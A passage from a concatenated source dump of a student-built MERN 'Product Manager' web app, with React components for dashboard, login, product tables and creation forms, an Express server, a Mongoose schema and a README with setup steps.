type="submit" className="btn btn-primary btn-block"> Submit </button> {this.renderRedirect()} </form> </Container> ); } } export default withRouter(Signup); <file_sep>import React from "react"; import { Container } from "react-bootstrap"; // import { Chart } from 'react-charts' import axios from "axios"; import { Redirect, Link, withRouter } from "react-router-dom"; import { NotificationContainer, NotificationManager } from "react-notifications"; import { Bar, Line } from "react-chartjs-2"; class Dashboard extends React.Component { constructor(props) { super(props); this.state = { username: "", password: "", email: "", isLoggedIn: true, accessToken: "", retriveData: false, products: [], products_length: null, show_login_alert: false, chart_products: [], product_title: [], }; } async componentDidMount() { // this.props.history.push("/login") // <Redirect to="/name"></Redirect> this.setState({ show_login_alert: true, }); this.getProducts(); console.log(JSON.parse(localStorage.getItem("isLoggedIn"))); if (JSON.parse(localStorage.getItem("isLoggedIn"))) { this.setState({ isLoggedIn: true, accessToken: localStorage.getItem("@token"), }); } else { this.setState({ isLoggedIn: false, accessToken: localStorage.getItem("@token"), }); } if (!this.state.retriveData) { this.retriveData(); this.setState({ retriveData: true }); } } getProducts() { axios .get("/product/") .then((response) => { this.setState({ products: response.data, products_length: response.data.length }); let products = response.data; let product_countArr = []; let product_title = []; for (var i = 0; i < products.length; i++) { product_countArr.push(products[i].no_of_products); product_title.push(products[i].productname); } this.setState({ chart_products: product_countArr, product_title: product_title, }); }) .catch((error) => { console.log(error); }); } retriveData = async () => { const creadentials = { accessToken: this.state.accessToken, }; // console.log(this.retriveData()); try { const resp = await axios.get("/api/test/user", { headers: { "Content-Type": "application/json", "x-access-token": localStorage.getItem("@token"), }, creadentials, }); console.log(resp.data); this.setState(resp.data); } catch (err) { // Handle Error Here console.error(err.massage); } }; renderRedirect = () => { console.log(this.state); if (!this.state.isLoggedIn) { console.log("logged in false"); return <Redirect to="/sign-in" />; } }; render() { return ( <div> <Container className="mt-2 w-70"> {this.state.show_login_alert ? ( <div class="alert alert-dark" role="alert"> You Are Logged in </div> ) : null} <h1 style={{ color: "orange", fontWeight: "900" }}>Dashboard</h1> {/* <h2>Total Number of Products {this.state.products_length} </h2> */} <div className="card text-center"> <div className="card-header">Products</div> <div className="card-body"> <h5 classNames="card-title">Total Number of Products</h5> <h1 style={{ fontSize: 60, color: "orange", fontWeight: "900" }} className="card-text my-4"> {this.state.products_length} </h1> <Link to={"/catalogue"}> {/* <a href="#" className="mx-1 btn btn-outline-secondary"> */} Show products {/* </a> */} </Link> </div> {/* <div class="card-footer text-muted"> 2 days ago </div> */} </div> <div className="container"> <Line type="line" data={{ labels: this.state.product_title, datasets: [ { label: "Products", data: this.state.chart_products, backgroundColor: [ "rgba(255, 99, 132, 0.2)", "rgba(54, 162, 235, 0.2)", "rgba(255, 206, 86, 0.2)", "rgba(75, 192, 192, 0.2)", "rgba(153, 102, 255, 0.2)", "rgba(255, 159, 64, 0.2)", ], borderColor: [ "rgba(255, 99, 132, 1)", "rgba(54, 162, 235, 1)", "rgba(255, 206, 86, 1)", "rgba(75, 192, 192, 1)", "rgba(153, 102, 255, 1)", "rgba(255, 159, 64, 1)", ], borderWidth: 1, }, ], }} width={100} height={30} options={{ maintainAspectRatio: true }} /> </div> {this.renderRedirect()} </Container> </div> ); } } export default withRouter(Dashboard); <file_sep>import React, { Component } from "react"; import axios from "axios"; import { Redirect, withRouter } from "react-router-dom"; import { Container } from "react-bootstrap"; class ProfilePage extends Component { constructor(props) { super(props); this.state = { username: "", password: "", email: "", isLoggedIn: true, accessToken: "", retriveData: false, }; } async componentDidMount() { console.log(JSON.parse(localStorage.getItem("isLoggedIn"))); if (JSON.parse(localStorage.getItem("isLoggedIn"))) { this.setState({ isLoggedIn: true, accessToken: localStorage.getItem("@token"), }); } else { this.setState({ isLoggedIn: false, accessToken: localStorage.getItem("@token"), }); } if (!this.state.retriveData) { this.retriveData(); this.setState({ retriveData: true }); } } retriveData = async () => { const creadentials = { accessToken: this.state.accessToken, }; // console.log(this.retriveData()); try { const resp = await axios.get("/api/test/user", { headers: { "Content-Type": "application/json", "x-access-token": localStorage.getItem("@token"), }, creadentials, }); console.log(resp.data); this.setState(resp.data); } catch (err) { // Handle Error Here console.error(err.massage); } }; handleSubmit = async (event) => { event.preventDefault(); const creadentials = { accessToken: this.state.accessToken, }; try { const resp = await axios.post("/api/auth/logout", creadentials); console.log(resp.data); localStorage.setItem("isLoggedIn", false); localStorage.setItem("@token", resp.data.accessToken); this.setState({ isLoggedIn: false }); console.log(localStorage); } catch (err) { // Handle Error Here console.error(err.massage); } }; renderRedirect = () => { console.log(this.state); if (!this.state.isLoggedIn) { console.log("logged in false"); return <Redirect to="/sign-in" />; } }; render() { return ( <Container> <div className="text-center "> <h1>Account Page</h1> <h4> Email: {this.state.email}</h4> <h4>Username: {this.state.username}</h4> <button type="submit" onClick={this.handleSubmit} className="btn btn-outline-primary btn-block mt-3"> Logout </button> {/* </Link> */} {this.renderRedirect()} </div> </Container> ); } } export default withRouter(ProfilePage); <file_sep>import { Button, Modal, Card } from "react-bootstrap"; import React, { useState } from "react"; import { Link } from "react-router-dom"; function TableRow(props) { console.log(props); const [show, setShow] = useState(false); const handleClose = () => setShow(false); const handleShow = () => setShow(true); return ( <> <tr onClick={handleShow}> <td className="align-middle">{props.product.partnumber}</td> <td className="align-middle p-0"> <img width="150" src={props.product.image_url} alt="product" /> </td> <td className="align-middle">{props.product.productname}</td> <td className="align-middle">{props.product.productcategory}</td> <td className="align-middle">{props.product.productcolours}</td> <td className="align-middle">{props.product.no_of_products}</td> </tr> <Modal show={show} onHide={handleClose} size="lg"> <Modal.Header closeButton> <Modal.Title>{props.product.partnumber}</Modal.Title> </Modal.Header> <Modal.Body> <Card> <Card.Body> <Card.Title> {props.product.productname} | {props.product.productcategory} </Card.Title> <Card.Img className="mb-5" variant="top" src={props.product.image_url} alt="product image" /> <Card.Text> <h4>Marketing text</h4> {props.product.marketinginfo} </Card.Text> <Card.Text>Colour: {props.product.productcolours}</Card.Text> <Card.Text>Dimensions: {props.product.dimensions}</Card.Text> <Card.Link> <Link to={"/edit/" + props.product._id}> <i class="fas fa-edit"></i> Edit </Link> </Card.Link> <Card.Link> <a href="#" onClick={() => { props.deleteProduct(props.product._id); }} > <i class="fas fa-trash-alt"></i> Delete </a> </Card.Link> </Card.Body> <Card.Footer> <Button variant="secondary" onClick={handleClose}> Close </Button> </Card.Footer> </Card> </Modal.Body> </Modal> </> ); } export default TableRow; <file_sep>import { Button, Form, Modal } from "react-bootstrap"; import React, { Component } from "react"; import { Redirect, withRouter } from "react-router-dom"; import axios from "axios"; class Productcreationmodal extends Component { constructor(props) { super(props); this.onChangeProductname = this.onChangeProductname.bind(this); this.onChangeManufacturer = this.onChangeManufacturer.bind(this); this.onChangePartNumber = this.onChangePartNumber.bind(this); this.onChangeProductCategory = this.onChangeProductCategory.bind(this); this.onChangeDimensions = this.onChangeDimensions.bind(this); this.onChangeProductColours = this.onChangeProductColours.bind(this); this.onChangeMarketingInfo = this.onChangeMarketingInfo.bind(this); this.onNumberOfProductChange = this.onNumberOfProductChange.bind(this); this.onSubmit = this.onSubmit.bind(this); this.state = { productname: "", manufacturer: "", partnumber: "", productcategory: "", dimensions: "", productcolours: "", marketinginfo: "", image_url: "", showHide: false, no_of_products: "", }; } handleModalShowHide() { this.setState({ showHide: !this.state.showHide }); } onChangeProductname(e) { this.setState({ productname: e.target.value, }); } onNumberOfProductChange(e) { this.setState({ no_of_products: e.target.value, }); } onChangeManufacturer(e) { this.setState({ manufacturer: e.target.value, }); } onChangePartNumber(e) { this.setState({ partnumber: e.target.value, }); } onChangeProductCategory(e) { this.setState({ productcategory: e.target.value, }); } onChangeDimensions(e) { this.setState({ dimensions: e.target.value, }); } onChangeProductColours(e) { this.setState({ productcolours: e.target.value, }); } onChangeMarketingInfo(e) { this.setState({ marketinginfo: e.target.value, }); } onSubmit(e) { e.preventDefault(); const product = { productname: this.state.productname, manufacturer: this.state.manufacturer, partnumber: this.state.partnumber, productcategory: this.state.productcategory, dimensions: this.state.dimensions, productcolours: this.state.productcolours, marketinginfo: this.state.marketinginfo, image_url: this.state.image_url, no_of_products: this.state.no_of_products, }; console.log(product); axios.post("/product/add", product).then((res) => console.log(res.data)); this.props.history.push("/productsuccess"); } render() { let widget = window.cloudinary.createUploadWidget( { cloudName: "phase2projectbirmingham", uploadPreset: "xuimcgyf", }, (error, result) => { if (!error && result && result.event === "success") { this.setState({ image_url: result.info.url, }); console.log("Done! Here is the image info: ", result.info); } } ); return ( <> <Button variant="primary" onClick={() => this.handleModalShowHide()} size="lg" className="m-2"> Add a product </Button> <Modal show={this.state.showHide}> <Modal.Header closeButton onClick={() => this.handleModalShowHide()}> <Modal.Title>Add a product</Modal.Title> </Modal.Header> <Modal.Body> <Form onSubmit={this.onSubmit}> <Form.Group controlId="Product name"> <Form.Label>Product Name</Form.Label> <Form.Control type="textarea" required value={this.state.productname} onChange={this.onChangeProductname} /> <button className="btn btn-secondary mt-3" onClick={() => { widget.open(); }} > Add an image </button> </Form.Group> <Form.Group controlId="partnumber"> <Form.Label>Part Number</Form.Label> <Form.Control type="textarea" required value={this.state.partnumber} onChange={this.onChangePartNumber} /> </Form.Group> <Form.Group controlId="quantity"> <Form.Label>Quantity of products</Form.Label> <Form.Control type="textarea" required value={this.state.no_of_products} onChange={this.onNumberOfProductChange} /> </Form.Group> <Form.Group controlId="manufacturer"> <Form.Label>Manufacturer</Form.Label> <Form.Control type="textarea" required value={this.state.manufacturer} onChange={this.onChangeManufacturer} /> </Form.Group> <Form.Group controlId="category"> <Form.Label>Product Category</Form.Label> <Form.Control type="textarea" required value={this.state.productcategory} onChange={this.onChangeProductCategory} /> </Form.Group> <Form.Group controlId="Dimesnions"> <Form.Label>Dimensions</Form.Label> <Form.Control type="textarea" required value={this.state.dimensions} onChange={this.onChangeDimensions} /> </Form.Group> <Form.Group controlId="colours"> <Form.Label>Colours</Form.Label> <Form.Control type="textarea" required value={this.state.productcolours} onChange={this.onChangeProductColours} /> </Form.Group> <Form.Group controlId="marketingfinfo"> <Form.Label>Marketing Text</Form.Label> <Form.Control as="textarea" rows={5} required value={this.state.marketinginfo} onChange={this.onChangeMarketingInfo} /> </Form.Group> <Button variant="primary" type="submit" className="mr-3" value="Create New Product"> Add Product </Button> <Button variant="secondary" onClick={() => this.handleModalShowHide()}> Close </Button> </Form> </Modal.Body> </Modal> </> ); } } export default withRouter(Productcreationmodal); <file_sep>import axios from "axios"; import { Component } from "react"; import TableRow from "../producttable/tablerow"; import { Redirect } from "react-router-dom"; export default class CatalogueExport extends Component { constructor(props) { super(props); this.state = { products: [], username: "", password: "", email: "", isLoggedIn: true, accessToken: "", retriveData: false }; } async componentDidMount() { axios .get("/product/") .then((response) => { this.setState({ products: response.data }); }) .catch((error) => { console.log(error); }); console.log(JSON.parse(localStorage.getItem("isLoggedIn"))); if (JSON.parse(localStorage.getItem("isLoggedIn"))) { this.setState({ isLoggedIn: true, accessToken: localStorage.getItem("@token"), }); } else { this.setState({ isLoggedIn: false, accessToken: localStorage.getItem("@token"), }); } if (!this.state.retriveData) { this.retriveData(); this.setState({ retriveData: true }); } } retriveData = async () => { const creadentials = { accessToken: this.state.accessToken, }; // console.log(this.retriveData()); try { const resp = await axios.get("/api/test/user", { headers: { "Content-Type": "application/json", "x-access-token": localStorage.getItem("@token"), }, creadentials, }); console.log(resp.data); this.setState(resp.data); } catch (err) { // Handle Error Here console.error(err.massage); } }; renderRedirect = () => { console.log(this.state); if (!this.state.isLoggedIn) { console.log("logged in false"); return <Redirect to="/sign-in" />; } }; productList() { return this.state.products.map((currentproduct) => { return <TableRow product={currentproduct} key={currentproduct._id} />; }); } render() { return <div>{this.renderRedirect()}</div>; } } <file_sep>import "./App.css"; import "bootstrap/dist/css/bootstrap.min.css"; import Navigation from "./components/nav/nav"; import { BrowserRouter as Router, Switch, Route, Redirect } from "react-router-dom"; import Dashboard from "./components/dashboard/dashboard"; import Catalogue from "./components/csvuploadmodal/catalogue"; import Productcreation from "./components/productcreation/productcreation"; import CatalogueExport from "./components/catalogueexport/catalogueexport"; import ErrorPage from "./components/error/errorpage"; import Login from "./components//login/login.component"; import SignUp from "./components/login/signup.components"; import HomePage from "./pages/HomePage"; import ProfilePage from "./pages/ProfilePage"; import Addsuccess from "./components/addsuccess/addsuccess"; import Cloudinary from "./components/Cloudinary"; import EditProduct from "./components/editproduct/editproduct"; function App() { return ( <Router> <div className="App"> <Navigation /> <Switch> <Route path="/" exact component={Dashboard} /> <Route exact path="/" component={HomePage} /> <Route path="/sign-in" exact component={Login} /> <Route path="/sign-up" exact component={SignUp} /> <Route path="/profile" exact component={ProfilePage} /> <Route path="/login" exact component={Login} /> <Route path="/catalogue" exact component={Catalogue} /> <Route path="/edit/:id" component={EditProduct} /> <Route path="/productsuccess" exact component={Addsuccess} /> <Route path="/new-product" exact component={Productcreation} /> <Route path="/export" exact component={CatalogueExport} /> <Route path="/cloudinary" component={Cloudinary} /> <Route path="/404" exact component={ErrorPage} /> <Redirect from="*" to="/404" /> </Switch> </div> </Router> ); } export default App; <file_sep>## Authors <NAME>. robertsicher <NAME>. Nikstar-1 ​ ​ ## Project Title: Product Manager ​ ## Website Title and Description ​ Product Manager MERN application - ​ An app for companies to internally manage the products that they are listing on distributors sites so they can easily upload, store and download information as CSV’s in order to create listings on other websites. ​ ​ ## The website can be found at the following address: https://desolate-chamber-36305.herokuapp.com/ ​ ## Who is our audience? ​ Business Users ​ ## User Story: As a company that works on a distributor model, we are frequently getting asked for data on products, in order for them to be frequently relisted on multiple different sites ## What is the problem the product is going to address? Product manager helps to create an internal central database for products, where products can be added, via form or csv for mass imports, edited, and deleted, then exported as a csv to be distributed ​ ## How does the product solve the problem? ​ It allows for products to be added, edited and exported in order to pass these along to distributors and resellers. Suitable for any company. ​ ​ ## What were the technologies used? ​ Back End: Express Node.js Heroku Cloudinary Mongoose MongoDB ​ Front End: React React Bootstrap React Charts React-CSV Flatfile Cloudinary ​ ## Installation To run the application locally, first clone this repository with the following command. ​ git clone https://github.com/Nikstar-1/Product_Managment_Database ​ Next, install the application dependencies. ​ npm install Finally, run the node server locally. ​ node server Now, open the local application on port 3000 at the URL: http://localhost:3000/. ​ ​ ## Tasks ​ <NAME>. robertsicher Front End, Product Backend, CSV download & upload, HTML Routing ​ <NAME>. Nikstar-1 Cloudinary, React chart, JWT Auth / Login, CSS, Front End, Heroku Deploy, Backend. ​ ​ ## Screenshots ​ !["Start Page"](client/src/catalogue.png "Start page.") ​ !["Start Page"](client/src/Dashboard.png "Start page.") !["Start Page"](client/src/cloudinary.png "Start page.") !["Start Page"](client/src/Graph.png "Start page.") !["Start Page"](client/src/Untitled.png "Start page.") !["Start Page"](client/src/image.png "Start page.") !["Start Page"](client/src/signup.png "Start page.") ​ !["Start Page"](client/src/signin.png "Start page.") !["Start Page"](client/src/uploadmodal.png "Start page.") !["Start Page"](client/src/bulk.png "Start page.") ​ ## License Licensed under the MIT License. A short and simple permissive license with conditions only requiring preservation of copyright and license notices. Licensed works, modifications, and larger works may be distributed under different terms and without source code. MIT license <file_sep>const mongoose = require("mongoose"); const Product = mongoose.model( "Product", new mongoose.Schema({ productname: { type: String, trim: true }, manufacturer: { type: String, trim: true }, partnumber: { type: String, unique: true, trim: true }, productcategory: { type: String, trim: true }, dimensions: { type: String, trim: true }, productcolours: { type: String, trim: true }, marketinginfo: { type: String, trim: true }, image_url:{ type:String, trim:true }, dateOfOrder:{ type:String, trim :true }, no_of_products:{ type:String, trim :true } }) ); module.exports = Product; <file_sep>const { authJwt } = require("./../middleware"); const controller = require("./../controllers/user.controller"); const express = require("express"); const bodyParser = require("body-parser"); const app = express.Router(); // parse requests of content-type - application/json app.use(bodyParser.json()); // parse requests of content-type - application/x-www-form-urlencoded app.use(bodyParser.urlencoded({ extended: true })); app.use(function (req, res, next) { res.header( "Access-Control-Allow-Headers", "x-access-token, Origin, Content-Type, Accept" ); next(); }); app.get("/api/test/all", controller.allAccess); app.get("/api/test/user", [authJwt.verifyToken], controller.userBoard); module.exports = app; <file_sep>const express = require("express"); const bodyParser = require("body-parser"); const cors = require("cors"); const dbConfig = require("./app/config/db.config.js"); const authUser = require("./app/routes/auth.routes"); const retriveUser = require("./app/routes/user.routes"); const productRouter = require('./app/routes/products.routes'); const app = express(); const path = require("path") var corsOptions = { origin: "http://localhost:3000", }; app.use(cors(corsOptions)); //Parse requests of content-type - application/json app.use(bodyParser.json()); //Parse requests of content-type - application/x-www-form-urlencoded app.use(bodyParser.urlencoded({ extended: true })); const db = require("./app/models"); const { response } = require("express"); app.use(express.static('client/build')); const Role = db.role; const mongoUrl = process.env.MONGODB_URI db.mongoose.connect(mongoUrl, { useNewUrlParser: true, useUnifiedTopology: true, }) .then(() => { console.log("Successfully connect to Monnpm igoDB."); }) .catch((err) => { console.error("Connection error", err); process.exit(); }); // Simple route app.get('/', (req, res) => { // res.send("test") res.sendFile(path.join(__dirname, "client/build/",'index.html')); }); //Routes app.use("/", authUser); app.use("/", retriveUser); app.use("/product", productRouter); // Set port, listen for requests const PORT = process.env.PORT || 3000; app.listen(PORT, () => { console.log(`Server is running on port ${PORT}.`); }); <file_sep>import axios from "axios"; import { Component } from "react"; import { Table } from "react-bootstrap"; import TableRow from "./tablerow"; import { CSVLink } from "react-csv"; import "./producttable.css"; export default class ProductTable extends Component { constructor(props) { super(props); this.deleteProduct = this.deleteProduct.bind(this); this.state = { products: [], filteredProducts: [] }; } getProducts() { axios .get("/product/") .then((response) => { this.setState({ products: response.data, filteredProducts: response.data }); }) .catch((error) => { console.log(error); }); } componentDidMount() { this.getProducts(); } deleteProduct(id) { axios.delete("/product/" + id).then((res) => this.getProducts()); this.setState({ products: this.state.products.filter((el) => el._id !== id), }); } // productList(){ // return this.state.products.map( currentproduct =>{ // return <TableRow product={currentproduct} deleteProduct={this.deleteProduct} key={currentproduct._id} />; // }) // } productList() { return this.state.filteredProducts.map((currentproduct) => { return <TableRow product={currentproduct} deleteProduct={this.deleteProduct} key={currentproduct._id} />; }); } handleSort(e) { const filter = e.target.value; const filteredEmployeesList = this.state.products.filter((employee) => { let employeeValues = Object.values(employee).join("").toLowerCase(); return employeeValues.indexOf(filter.toLowerCase()) !== -1; }); this.setState({ filteredProducts: filteredEmployeesList }); console.log(this.filteredProducts); } render() { return ( <div className=""> <CSVLink className="d-inline nounderline btn btn-secondary mr-2" data={this.state.products}> Download the Catalogue{" "} </CSVLink> <input className=" d-inline form-control px-3 " type="text" placeholder="Search Products" style={{ margin: "auto", textAlign: "center", marginBottom: 20, marginTop: 20, width: "70%", }} onChange={(e) => { this.handleSort(e); }} ></input> <Table striped bordered hover variant="dark"> <thead> <tr> <th style={{ width: "3%" }}>Product #</th> <th style={{ width: "5%" }}>Thumbnail</th> <th style={{ width: "15%" }}>Product Title</th> <th style={{ width: "10%" }}>Category</th> <th style={{ width: "10%" }}>Colour</th> <th style={{ width: "5%" }}>No of products</th> </tr> </thead> <tbody>{this.productList()}</tbody> </Table> </div> ); } }
987db31eec588a688cc63ca532f1e227c91dad12
[ "JavaScript", "Markdown" ]
15
JavaScript
robertsicher/Product_Managment_Database
091947c745cb6f7a6eac1f0ea56bb98889429510
daa9c96991a6d3e5ecf8127785bd85e5614179cb